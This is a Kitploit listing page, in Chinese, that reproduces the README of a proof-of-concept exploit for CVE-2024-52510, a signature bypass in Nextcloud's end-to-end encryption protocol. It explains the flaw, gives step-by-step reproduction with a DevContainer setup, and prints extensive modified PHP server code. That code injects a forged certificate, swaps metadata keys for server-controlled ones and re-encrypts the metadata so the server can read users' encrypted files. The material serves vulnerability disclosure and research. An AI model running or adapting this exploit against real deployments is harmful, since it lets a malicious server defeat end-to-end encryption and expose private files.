Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-52510 — 针对 CVE-2024-52510 的概念验证漏洞利用,演示了 Nextcloud E2EEv2 协议中的签名绕过,可通过元数据密钥注入在服务端解密加密文件。 | Kitploit
工具/GitHubGitHub/d-xuan/cve-2024-52510
加密/解密工具漏洞分析漏洞利用密码学渗透测试云安全
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

针对 CVE-2024-52510 的概念验证漏洞利用,演示了 Nextcloud E2EEv2 协议中的签名绕过,可通过元数据密钥注入在服务端解密加密文件。

查看仓库
2882年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Nextcloud X-E2EE-SIGNATURE 绕过 POC

摘要

  • 在 Nextcloud 的 E2EEv2 协议正常运行期间,客户端在上传文件夹元数据到服务器之前会对其进行加密签名。这可以确保在出于文件共享或同步更改目的而重新获取元数据时,元数据未被篡改。

  • 签名验证由客户端在 foldermetadata.cpp:177 初始化所获取的元数据时执行。然而,恶意服务器可以通过两种方式绕过此检查:

    • 服务器可以返回空的 X-E2EE-SIGNATURE 响应头。由于响应头为空,foldermetadata.cpp:168 处的条件意味着签名验证不会发生,客户端会接受被篡改的元数据。

    • 服务器可以向 users JSON 数组中注入一个证书,然后使用该证书对元数据进行签名。由于在 clientsideencryption.cpp:941 处传递了 CMS_NO_SIGNER_CERT_VERIFY,签名证书不会经过证书链验证,客户端仅检查签名证书是否存在于 certificatePems 向量中(clientsideencryption.cpp:955-971),而该向量由服务器控制。

  • 在本 POC 中,我们将演示后一种方法,因为它实现起来更困难;不过,这两种方法都已测试可行。

  • 恶意服务器可以利用此绕过向客户端提供服务器已知的元数据密钥。客户端随后将使用该元数据密钥加密后续文件,从而使服务器能够解密并读取端到端加密文件夹中的文件。

    这种利用签名绕过的方式基于 Albrecht、Backendal、Coppola、Paterson 于 2023 年(https://eprint.iacr.org/2024/546)针对旧版 E2EE 协议发现的攻击。 事实上,元数据密钥的身份验证正是针对该攻击的缓解策略( 参见所引用论文的第 5.1 节)。

复现步骤

  1. 克隆此仓库,并使用 DevContainer 扩展在 VS Code 中打开。已提供一个基于 Nextcloud server 仓库 中 DevContainer 的容器,并做了以下更改:

    • 出于调试目的,在端口 7001 上提供了一个 mitmproxy 反向代理。Web UI 可通过端口 7002 访问。
    • 在安装 Nextcloud 服务器时,encryption 和 end_to_end_encryption 应用也将被启用,并会创建一个用户名和密码均为 sharer 的账户。
  2. 服务器启动后,使用最新的客户端连接到 http://localhost:8000(或通过 http://localhost:7001 上的反向代理)。目前我已在 v3.13.2 的 AppImage 上完成了测试。

sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. 按提示使用用户名 sharer 和密码 sharer 登录。接受默认同步选项(创建一个 ~/Nextcloud/ 目录,其中包含 welcome.txt),并在 Nextcloud 客户端设置中配置端到端加密。

  2. 在 ~/Nextcloud 目录中创建一个新文件夹 encrypted_folder。在 Nextcloud 客户端设置中,将此文件夹标记为加密。

  1. 在 Nextcloud/encrypted_folder 内,创建一个简单的文本文件并等待其同步。
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. 使用以下凭据登录 http://localhost:8080/ 上 Adminer 中的 Postgres 数据库:

    • 用户名:postgres
    • 密码:postgres
    • 数据库:postgres

然后导航到 oc_e2e_encryption_metadata 和 oc_e2e_encryption_decrypted 表。你应该能够以明文形式看到解密后的元数据和文件内容。

上面的截图中有几个额外创建和删除的测试文件,因此与你看到的内容会略有不同

技术细节

此仓库基于 Nextcloud server 和 end to end encryption app 仓库。大部分代码保持不变,因此我将尽量说明做了哪些更改。

首先,MetaDataStorage.php 的 getMetadata 方法已被修改,通过调用新的 getFakeUserMetadata 方法来篡改返回的元数据。

--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}

-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);

-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

在 getFakeUserMetadata 方法中,我们首先将一个选定的证书注入 users JSON 键。这是为了便于伪造签名。

	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* This is a non-root metadata. Return as normal*/
			return json_encode($metaData);
		}
				
		/* 
		 * Step 1: Inject a fake public key into the metadata
		 * This can be used to forge a signature for the response.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Create a new private key for the fake user */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);

				/* Client is expecting a certificate for the public key */
				$csr = openssl_csr_new(array(), $privateKey);
				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
				openssl_x509_export($certificate, $pemCertificate);
				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
			}

			$newUser = new \stdClass();
			$newUser->certificate = $pemCertificate;
			array_push($metaData->users, $newUser); 
		}

然后,由于我们可以访问客户端的公钥,因此可以加密我们自己的密钥,并用我们控制的密钥替换加密的元数据密钥。

		/* 
	 	 * Step 2: Change all the metadata keys to keys that we control.
		 */
		foreach ($metaData->users as $userData) {
			$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
			$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
			$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
		}	

		/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
		if (!is_null($newUser)) {
			$newUser->userId = $this->fakeUserId;
		}

由于我们已经篡改了元数据密钥,因此还需要更改密文。如果我们已经成功运行过该攻击,就可以访问真实的元数据并对其重新加密。否则,我们将初始化一个空的元数据对象并对其进行加密。

		/* 
		 * Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
		 * Then as long as we don't trigger a downsync, the next PUT will 
		 * contain metadata encrypted with a key known to us.
		 */
		$fakeMetadata = new \stdClass();
		$fakeMetadata->folders = new \stdClass();
		$fakeMetadata->files = new \stdClass();

		try {
			$metadataEntities = $this->metadataMapper->getByFolderId($id);
			foreach ($metadataEntities as $metadataEntity) {
				$encryptedFilename = $metadataEntity->getEncryptedFilename();
				if ($metadataEntity->isDirectory()) {
					$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
				} else {
					$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
				}
			}
		} catch (DoesNotExistException $ex) {
			/* Return empty metadata */
		}

		$fakeMetadata->counter = $this->getCounter($id);
		/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
		$fakeMetadata->keyChecksums = array();
		array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));

		/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
		$plaintext = gzencode(json_encode($fakeMetadata));
		$nonce = openssl_random_pseudo_bytes(16);
		$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
		$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
		$metaData->metadata->nonce = base64_encode($nonce);
下载工具